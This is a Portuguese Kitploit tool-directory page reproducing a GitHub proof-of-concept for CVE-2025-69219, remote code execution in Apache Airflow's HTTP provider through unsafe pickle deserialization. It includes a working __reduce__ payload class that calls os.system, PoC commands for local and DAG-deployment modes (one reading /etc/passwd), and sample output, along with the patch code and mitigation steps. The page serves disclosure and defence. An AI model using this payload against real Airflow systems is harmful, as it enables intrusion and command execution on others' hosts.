Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-69219 — Prova de conceito de exploit para CVE-2025-69219, demonstrando execução remota de código no Apache Airflow Providers HTTP via desserialização insegura de pickle. Inclui scripts PoC, análise técnica e orientações de mitigação. | Kitploit
Ferramentas/GitHubGitHub/sak110/cve-2025-69219
Análise de VulnerabilidadesExploraçãoPapers e PesquisaAprendizado e EducaçãoDesenvolvimento de PayloadsExploração de Binários
GitHubsak110/cve-2025-69219

CVE-2025-69219

Prova de conceito de exploit para CVE-2025-69219, demonstrando execução remota de código no Apache Airflow Providers HTTP via desserialização insegura de pickle. Inclui scripts PoC, análise técnica e orientações de mitigação.

Ver Repositório
73há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-69219 — Apache Airflow Providers HTTP RCE via Desserialização Insegura de Pickle

Severidade: Alta (CVSS 3.1: 8.8)
Vetor: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-913 — Controle Inadequado de Recursos de Código Gerenciados Dinamicamente
Afetado: apache-airflow-providers-http >= 5.1.0, < 6.0.0
Corrigido em: apache-airflow-providers-http == 6.0.0
Patch: apache/airflow#61662 · commit 97839f7


Visão Geral

O provedor HTTP do Apache Airflow usava o módulo pickle do Python para serializar e desserializar respostas de gatilho HTTP para tarefas adiadas. O ponto vulnerável em HttpOperator.execute_complete() era assim:

root@kitploit:~
# VULNERÁVEL (pré-patch) — providers/http/src/.../operators/http.py
response = pickle.loads(base64.standard_b64decode(event["response"]))

O dicionário event é lido do banco de dados do Airflow, o que significa que qualquer principal com acesso de escrita no BD pode plantar uma carga maliciosa pickle. Quando o worker do Triggerer processa a tarefa adiada, ele desserializa cegamente essa carga, executando comandos arbitrários do SO com as permissões do processo Triggerer — equivalente a um Autor de DAG.


Causa Raiz

pickle.loads() em dados não confiáveis é uma operação inerentemente insegura. O protocolo __reduce__ do Pickle permite que qualquer chamável Python seja embutido no blob serializado e invocado durante a desserialização sem sandboxing.

O Triggerer do Airflow serializa a resposta HTTP no momento da conclusão e a armazena no BD:

root@kitploit:~
# triggers/http.py (pré-patch)
yield TriggerEvent({
    "status": "success",
    "response": base64.standard_b64encode(pickle.dumps(response)).decode("ascii"),
})

Um atacante no nível do BD substitui esse valor por um blob pickle malicioso, por exemplo:

root@kitploit:~
class RCEPayload:
    def __reduce__(self):
        return (os.system, ("id",))

payload = base64.b64encode(pickle.dumps(RCEPayload())).decode()

O Triggerer então chama execute_complete → pickle.loads() → RCE.


A Correção (6.0.0)

O patch substitui completamente o pickle por um serializador JSON seguro e explícito:

root@kitploit:~
# triggers/http.py (pós-patch)
yield TriggerEvent({
    "status": "success",
    "response": HttpResponseSerializer.serialize(response),  # dict JSON
})
root@kitploit:~
# HttpResponseSerializer.deserialize() — valida que a entrada é um dict, nunca executa código
if isinstance(data, str):
    raise TypeError("Response data must be a dict, got str")

O novo desserializador apenas reconstrói um objeto requests.Response a partir de campos conhecidos (status_code, headers, content, etc.) — nenhuma execução arbitrária de código é possível.


PoC

Requisitos

root@kitploit:~
# Python 3.9+; instale uma versão vulnerável
pip install "apache-airflow-providers-http>=5.1.0,<6.0.0"

Modo 1 — Simulação local (sem necessidade de Airflow)

Reproduz a chamada vulnerável pickle.loads() em processo:

root@kitploit:~
python poc.py
# ou com um comando personalizado:
python poc.py --cmd "whoami"

Saída de exemplo:

root@kitploit:~
  CVE-2025-69219 | Apache Airflow Providers HTTP < 6.0.0
  Unsafe Pickle Deserialization → RCE via HttpOperator
  -------------------------------------------------------

[*] Command       : id
[*] Pickle payload: gASVKAAAAAAAAACMAnBvc3lzdGVtlIWUUpQu...
[*] Triggering deserialization (simulating execute_complete) ...

uid=1000(user) gid=1000(user) groups=1000(user)

[+] os.system returned: 0  (0 = success)

Modo 2 — Implantação completa de DAG (requer uma instância Airflow em execução com providers-http < 6.0.0)

root@kitploit:~
# Gere um DAG implantável
python poc.py --mode dag --cmd "id"

# Copie para o diretório DAGs do Airflow
cp cve_2025_69219_poc_dag.py $AIRFLOW_HOME/dags/

# Acione pela interface do Airflow ou CLI
airflow dags trigger cve_2025_69219_poc

Verifique os logs da tarefa para a saída do comando.

Exibir carga útil bruta

root@kitploit:~
python poc.py --show-payload --cmd "cat /etc/passwd"

Impacto

FatorDetalhe
Quem pode explorarQualquer usuário com acesso de escrita direta ao BD do Airflow
Contexto de execuçãoProcesso worker do Triggerer (mesmas permissões de um Autor de DAG)
ProbabilidadeBaixa — acesso direto ao BD não é padrão em implantações bem configuradas

Mitigação

  1. Atualize o apache-airflow-providers-http para 6.0.0 ou superior.
  2. Restrinja o acesso ao BD — apenas as contas de serviço do scheduler/webserver do Airflow devem ter acesso de escrita ao BD de metadados.
  3. Antes de atualizar, garanta que todas as tarefas HTTP adiadas (deferrable=True) tenham sido concluídas ou limpas, pois tarefas em andamento serializadas com pickle levantarão um TypeError após a atualização (mudança disruptiva documentada no changelog do provedor).
root@kitploit:~
pip install "apache-airflow-providers-http>=6.0.0"

Cronologia

DataEvento
2026-03-09CVE publicado pela Apache Software Foundation
2026-03-09Correção mesclada (PR #61662, commit 97839f7)
2026-03-09Divulgação na lista de e-mails oss-security

Referências

  • CVE-2025-69219 no NVD
  • GitHub Advisory GHSA-9r5j-7r2x-rv4g
  • Patch PR #61662
  • Patch commit 97839f7
  • Divulgação no oss-security

Créditos

  • skypher — descobridor
  • Shauryae1337 — descobridor
  • ahmetartuc — descobridor e autor original da PoC (poc-cve-2025-69219)

A PoC neste repositório é baseada no trabalho original de @ahmetartuc.


Aviso Legal

Esta prova de conceito é publicada apenas para fins educacionais e de pesquisa em segurança. Teste apenas contra sistemas que você possui ou para os quais tem autorização explícita por escrito. Os autores não são responsáveis por qualquer uso indevido.

Baixar ferramenta
Raio de explosão
RCE completo no host do nó Triggerer: exfiltração de dados, movimento lateral, persistência